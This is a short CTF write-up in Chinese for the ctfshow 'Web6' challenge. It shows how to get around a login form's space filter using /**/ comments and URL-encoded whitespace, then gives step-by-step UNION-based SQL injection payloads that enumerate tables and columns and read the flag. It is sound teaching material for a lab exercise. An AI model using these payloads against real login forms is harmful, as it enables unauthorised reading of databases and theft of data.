[ctfshow]Web6
Web6
题目描述
无
题目解析
打开页面只有一个form表单,怀疑是一个sql注入,用bp抓包构造一下注入语法进行尝试。发现被检测了,考虑是关键字过滤还是过滤空格呢。首先输入关键字进行测试,发现页面返回正常;再输入空格发现报错,证明是检测了空格。
在SQL注入中,能代替空格的有/**/
注释、通过括号绕过空格、用%0a、%0b、%0c、%0d、%09、%a0编码绕过。
这里选择注释的方式进行绕过
接下来就是一把梭的SQL注入
username=123'/**/or/**/1=1/**/order/**/by/**/4/**//**/#&password=123 #判断字段数
username=123'/**/or/**/1=1/**/union/**/select/**/1,2,3/**/#&password=123 #判断回显位置
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/#&password=123 #获取表名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/#&password=123 #获取列名
username=123'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag/**/#&password=123 #拿到flag
即可成功取得flag~